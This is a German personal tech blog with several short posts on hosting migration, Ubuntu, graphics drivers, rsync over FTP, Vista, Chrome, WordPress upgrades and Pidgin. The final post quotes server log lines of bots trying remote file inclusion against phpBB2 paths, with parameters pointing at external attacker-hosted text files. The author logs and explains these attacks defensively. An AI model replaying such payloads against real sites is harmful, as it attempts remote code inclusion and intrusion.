Umzug ins Rechenzentrum von IP Exchange

Die Domain Simlau.net existiert nun schon seit über 2 Jahren. 2 Jahre bei denen ich die Domain bei ALL-INKL Webhosting gehostet hatte. Bis heute hatte ich bis auf ein, zwei unangekündigten Downtimes und einem Umbau nie Probleme mit ALL-INKL. Klasse Support, und es wurde sich auch nie beschwert, wenn man den Traffic mal etwas ausgenutzt hat… Vielen Dank an euch, Jungs. ;)

Aber es ist Zeit für Abweschelung und Veränderungen. Der Traffic steigt monatlich immer mehr an und somit auch meine Anforderungen. Wenn ich an den Tag denke, an dem ich mir die Domain bestellt hatte, hätte ich niemals gedacht, dass der Traffic jemals die Gigabyte Marke weit übersteigen würde….

In den nächsten Tagen wird Simlau.net also mit zwei weiteren Domains (asmodiel.de sowie tomeks.org) zu einem neuen Provider, und somit auch auf einen neuen Server umziehen. Der neue Provider ist auch mein Arbeitergeber, und zwar die Firma IP Exchange GmbH mit dem Standort in Nürnberg.

Colocated by IP-Exchange

Dort werden die Domains auf einen kleinen vServer verfrachtet, der mir eventuell noch etwas mehr Platz zum entfalten des Projekts gibt. In Planung ist übrigens, dass mein altes CMS (qCMS) wieder zum Einsatz kommt und somit Wordpress und Websitebaker nun endgültig ausgedient haben. Wann das passieren soll, steht allerdings noch in den Sternen. Ich arbeite aus Zeitmangel nur hin und wieder daran.

Wie auch immer, der Umzug an sich ist bereits komplett vollzogen, das heißt die Dateien, die E-Mail Accounts und die Datenbanken befinden sich schon auf dem neuen Server. Nur die Domain an sich fehlt eben noch. :)

Der KK ist jedenfalls schon beantragt. Ich bin mal gespannt wie schnell das Tisch läuft, ich hoffe doch das ALL-INKL da keine größeren Probleme macht.

Eine Downtime wird es übrigens vermutlich icht geben, aber bis der Umzug komplett vollzogen ist, werden aber ein Teil der Anfragen auf den alten Nameserver, und ein Teil der Anfragen auf den neuen Nameserver geleitet werden. Das heißt also: Ihr werdet teilweise schon auf dem neuen Server, teilweise auch noch auf dem alten surfen. Einen Unterschied sollte das nicht machen, da eigentlich keine größeren Veränderungen gemacht wurden.

Ubuntu Intrepid Ibex ist da!

Mit dem heutigen Tag ist Ubuntu 8.10 - Intrepid Ibex (was übersetzt so viel wie “unerschrockener Steinbock” heißt) erschienen.

Hier kurz die wichtigsten Neuerungen im Überblick: Ubuntu

  • Neuer Kernel 2.6.27
  • Neuer Xorg Server in Version 7.4
  • Neues GNOME in Version 2.24

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Meine neue Nvidia Geforce 9800 GT

Nun habe ich meine neue Grafikkarte schon einige Tage, und möchte dazu mal einen kleinen Eintrag schreiben. Es handelt sich um eine Zotac GF9800GT AMP! Limited Edition mit 512MB. Hauptsächlich habe ich mich für diese entschieden, weil sie mit ~115 Euro doch relativ günstig war.

Erstmal hätte ich nicht gedacht, dass durch die neue GPU die Performance bei spielen so enorm verbessert wird, vorallem auch was die Geschwindigkeit betrifft. Und bis jetzt konnte ich jedes meiner Spiele (u. A. F.E.A.R, NFSPS etc.) auf höchsten Details spielen. Das kann man in keinster Weiße mit irgendeinen onBoard Chip auf meinem NForce Board vergleichen, einfach genial.

Die Installation verlief zumindest unter Windows ohne Probleme, was ja schon mal erfreulich ist. Mit Linux gab es leider einige Probleme. Die Karte wurde von den Ubuntueigenen Uralttreibern nicht richtig erkannt und als “Nvidia Series 8″ konfiguriert.

Damit lief die Karte aber nicht so richtig, und beim Start des Xorgs wurde dann einfach auf die generic VESA Treiber umgeschalten, was dazu führte, dass eben nur eine maximale Auflösung von 800×600 möglich war. Was nicht nur bei einem 19” Widescreen übrigens etwas unschön ist. :)

Abhilfe schaffte hier das komplette entfernen der Nvidia-Treiber von Ubuntu via

root@localhost: # apt-get remove nvidia-glx-new

sowie eine anschließende manuelle Installation der Treiber direkt von Nvidia in der Version 177.80.

Nach ein paar weiteren Änderungen in der Xorg.conf lief dann XServer und auch Compiz wieder einwandfrei.

Das einzige was mir nun etwas negativ an der Karte aufgefallen ist, ist das sie doch mal eben schnell etwas heiß wird. 40-50°C Idle sind nicht unbedingt ganz mein Geschmack. Notgedrungen habe ich also noch zusätzlich einen extra Lüfter eingebaut, der das nun wieder etwas ausgleicht.

Zusätzlich zu der Grafikkarte habe ich mir auch gleich noch ein neues Netzteil geholt, weil das alte doch etwas zu schwach für die neue Karte gewesen wäre. Ein Tacens Valeo Smart mit 480 Watt. Sehr genial finde ich hier das Kabel Managment, so liegen auch nur wirklich benötigte Kabel im Gehäuse rum. Auch nett ist die sog. “0-Dezibel Technologie”, der Lüfter des Netzteils läuft nur dann, wenn er auch wirklich gebraucht wird.

Rsync auf einen FTP-Server

Ich bin im Moment daran, ein Backupsystem für einen vServer eines Freundes zu realisieren. Mein erster Gedanke war hier rsync. Allerdings bietet der Backupserver ledeglich die Möglichkeit, sich via FTP einzuloggen. Was also tun?

Nach etwas googeln bin ich auf das Paket curlftpfs gestoßen, welches ein Modul für FUSE ist. Mit curlftpfs lassen sich FTP-Server in das Dateisystem einhängen und stehen somit wie eine normale Festplatte zur Verfügung. Damit lassen sich Daten auf einem FTP-Server relativ komfortabel editieren.

Logischerweiße kann man curlftpfs also auch dazu nutzen, ein lokales Verzeichniss mit rsync auf einen externen FTP-Server zu spiegeln, und das völlig ohne SSH-Verbindung.

Hier ein kleines Beispiel für ein Script, dass das lokale Verzeichniss /home/user zum FTP-Server synchronisiert…

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Erfahrungen mit Vista…

Das Vista etwas seltsam ist habe ich ja schon immer gewusst, aber seit heute ist mein Ansehen für Vista nochmal enorm gesunken.

Meine Brüder haben ja nun schon seit längeren einen neuen PC, mit, wie nicht anders zu erwarten: Vista. Ich habe das System auch damals installiert und konfiguriert, wenn auch ungewollt. Da es an dem Tag schon etwas spät war, habe ich mich beim eintippen des Usernames vertippt. Ich hatte statt “Administrator”, “Adminitrator” eingegeben.

Ich habe das zwar direkt nach der Installation korregiert, Vista scheint das aber nicht so richtig kappiert zu haben. Der angezeigte Name war zwar richtig, aber intern schien Vista das ganze doch noch mit dem Usernamen “Adminitrator” gehandelt zu haben. Soweit kein Problem, da bis heute auch noch der grafische Login-Screen aktiv war (mit Liste der Benutzernamen).

Diesen habe ich allerdings heute in die “klassiche Version” geändert, also den, den man noch aus Windows 2000 Zeiten kennt. Dieser ließ sich übrigens, anders als man es von Windows XP kennt, nur durch einen direkten Eingriff in die Registry und das ändern des dafür vorgesehenen Handling Keys anpassen. Das Ergebniss nach langem suchen und probieren sah dann so aus:

Anmeldebildschirm unter Vista

Okay, soweit so gut. Nachdem ich ja den Usernamen von “Adminitrator” auf die richtige Schreibweiße “Administrator” geändert hatte, gehe ich natürlich auch davon aus, dass ich mich mit dem neuen Usernamen einloggen kann. Wäre ja auch logisch, aber wie wir wissen ist Vista nicht logisch.

Gut, ich versuche also mich anzumelden. Was passiert? Nichts, ich bekomme ledeglich eine Meldung “Benutzername oder Kennwort flasch.” Nach mehren Versuchen war ich dann soweit, dass ich mein Backtrack auf USB rausgekramt hatte, mit der Idee das Passwort zurückzusetzen.

Soweit musste ich allerdings nicht mal gehen, denn nachdem ich die Platte gemountet hatte ist mir aufgefallen, dass für den User Administrator gar kein Verzeichniss in “Documents and Settings\” exisiert. Für den alten User “Adminitrator” hingegen schon. Okay, also neuer Versuch. Platte ausgehangen und reboot. Dann habe ich einfach mal versucht mich mit dem Usernamen “Adminitrator” anzumelden… und siehe da, es funktioniert.

Meinen Blick in diesem Moment darf sich jetzt jeder selbst vorstellen. Ich meine, wenn ich meinen Usernamen ändere und danach eine Bestätigung mit “Erfolgreich geändert” bekomme, gehe ich doch auch davon aus, dass sich demnach auch mein Login-Name geändert hatt, alles andere wär ja auch fern von jeder Art von Logik. Aber dieses Wort scheint bei Microsoft wohl nicht zu existieren.

Google Chrome, Segen oder nicht?

Es ist schon erstaunlich: kaum nachdem die erste Beta-Version von Google Chrome released wurde, gibt es schon heftige Kritik gegen den neuen Webbrowser von Google. Sogar das Bundesamt für Sicherheit in der Informationstechnik (BSI) rät bereits vom neuen Google Browser ab.

Ein sehr interessanter Testbericht von Christian (killerbees19) findet sich hier. Darin finden sich enige Interessante Aspekte, die definitiv gegen den Google Chrome Browser sprechen.

So baut der Browser bereits vor dem aufrufen einer Seite eine Verbindung zu google.com auf und “telefoniert nach Hause”. Von seitens Google heißt es, dies würde nur für die Suchvorschläge benutzt werden, aber mich würde es nicht wundern, wenn Google damit seine Datensammlung nochmal enorm vergrößert. Immerhin weißt Google Chrome jedem User durch die sogennante Chrome-ID eine eindeutige ID zu, mit dem er später auch wieder identifiziert werden kann.

Kurz nach dem Relase der Beta gab es schon den ersten Exploit. Die Lücke bestand im Apple Webkit, wovon Google wohl eine veraltete Version benutzt hat. Denn im Safari Browser ist die Lücke längst gefixt. Was für Google spricht ist, dass relativ schnell nach dem bekannt werden der Lücke eine neue Beta erschienen ist, in der diese Lücke behoben ist. Dagegen, dass Google den Fehler nicht schon vorher bemerkt hat.

Das Design des Browser erinnert meiner Meinung nach etwas an IE, etwas an Opera. Zwar nur minimal, aber trotzdem eine recht hässliche Mischung, wie finde. Das schöne ist allerdings das man nahezu komplett auf irgendwelche Navigationsmenüs verzichtet und sich auf das wichtigste konzentriert: die Webseite.

Ebenfalls schön ist, dass einzelne Webseiten in eigene Prozesse ausgelagert werden. Dies hat den Vorteil, falls der Browser mal abstürzten sollte, nicht alles, sondern eben nur gewisse Teilprozesse weg sind. Der Kern von Google Chrome läuft so weiter stabil.

Aber trotzdem, meiner Meinung nach sollte man definitiv die Finger von dem Teil lassen. Erstens sollte man Beta Software von Google nicht immer als voll funktionsfähige Software betrachten, auch wenn das einige wohl so gewöhnt sind und zweitens hat Google ohnehin schon gigantische Sammlungen von privaten Daten, und mit einem Browser ist es eben nochmals viel einfacher Daten zu sammeln… Wer weiß wo das ganze irgendwann mal noch endet. Dann, meine lieben Windows-Freunde, bleibt doch lieber beim Internet Explorer.

Ich bin aber trotzdem mal gespannt wie sich der Browser am Markt etablieren kann.

Und wiedermal ein Upgrade

Soeben wurde der Blog auf die aktuellste Version aktualisiert, wieder einmal. Die aktuellste Version von Wordpress ist 2.6.2 und behebt laut den Entwicklern Fehler und Sicherheitslücken, die besonders für Blogs relevant sind, die Benutzerregestrierungen zulassen. Dies ist beim Blog von Simlau.net übrigens nicht der Fall. Dieses mal gab es sogar keinerlei Fehler beim Upgrade, ist schon fast etwas gruselig. Aber gut, umso besser. Immerhin etwas weniger Arbeit für mich. ;)

Hier noch ein Auszug aus dem offiziellen Entwicklerstatement:

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Upgrade auf Wordpress 2.6.1

Wieso geht bei Wordpress Updates eigentlich prinzipiell etwas schief? Dieses mal gab es nach dem Upload des Upgrade Paketes, beim Versuch das DB Upgrade durchzuführen folgenden Fehler:

Fatal error: Cannot redeclare validate_file() (previously declared in public_html/wp-includes/functions.php:2238) in public_html/wp-admin/includes/file.php on line 73

Anscheinend waren die DE-Upgrade Pakete defekt. Ich konnte das ganze zumindest dadurch fixen, indem ich die betroffenen Dateien mit denen aus dem DE-Worpdress Paket (nicht das Upgrade Pake) ersetzt habe.

Wie auch immer, nun endlich auch auf 2.6.1, wenn auch sehr verspätet. Das ganze ist wohl unter anderem auf das Summer Breeze Festival 2008 zurückzuführen. Hauptsache nun wieder Up-to-Date. ;)

Pidgin 2.4.3 veröffentlicht

Nachdem seit gestern ja das einloggen in ICQ per Pidgin nicht mehr möglich ist, haben die lieben Entwickler sofort reagiert.

Auf Grund der gestern bekannt gewordenen Probleme mit ICQ wurde vorzeitig die aktuelle Version 2.4.3 veröffentlicht, welche auch gleich das ICQ-Problem behebt.

Quelle: pidgin-im.de

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Bot-Attacken in den Serverlogs

In letzter Zeit häufen sich versucht Angriffe auf Simlau.net. Hier mal ein kleiner Auschnitt aus den Logs, die IPs wurden zensiert.

simon@linux-desktop:~$ grep libwww-perl access.log
[22/Jun/2008:01:03:36 +0200] “GET /*.php?page=h**p://www.organicsalive.org/webyep-system/program/images/.bash/id.txt? HTTP/1.1″ 404 6769 “-” “libwww-perl/5.805″
[22/Jun/2008:11:21:59 +0200] “GET /pages/downloads/phpbb2.php/authentication/phpbb2/phpbb2.functions.php?pConfig_auth[phpbb_path]=http://www.z3roadster.it/home/on.txt? HTTP/1.1″ 200 10489 “-” “libwww-perl/5.810″
[22/Jun/2008:11:22:00 +0200] “GET /authentication/phpbb2/phpbb2.functions.php?pConfig_auth[phpbb_path]=h**p://www.z3roadster.it/home/on.txt? HTTP/1.1″ 404 6769 “-” “libwww-perl/5.810″
[22/Jun/2008:23:55:58 +0200] “GET /authentication/phpbb2/phpbb2.functions.php?pConfig_auth[phpbb_path]=h**p://www.olympic.ca/EN/forms/hbc_bios/id.txt%0D?? HTTP/1.1″ 404 6769 “-” “libwww-perl/5.811″

Wie man sieht einfach wahllos versuchte Remote File Inclusions und Exploits. Telweise warscheinlich phpBB2 Explots, die aber auf die phpBB-Download Seite der Webseite von Simlau.net ausgeübt wurden. Hier läuft jedoch kein phpBB2, sondern Website Baker. Ich nehme an, dass die Bots wegen dem Slash, dass hinter der Seite beim aufrufen von veralteten Links noch hinzugefügt wird, die Seite für ein phpBB2-Forum halten.

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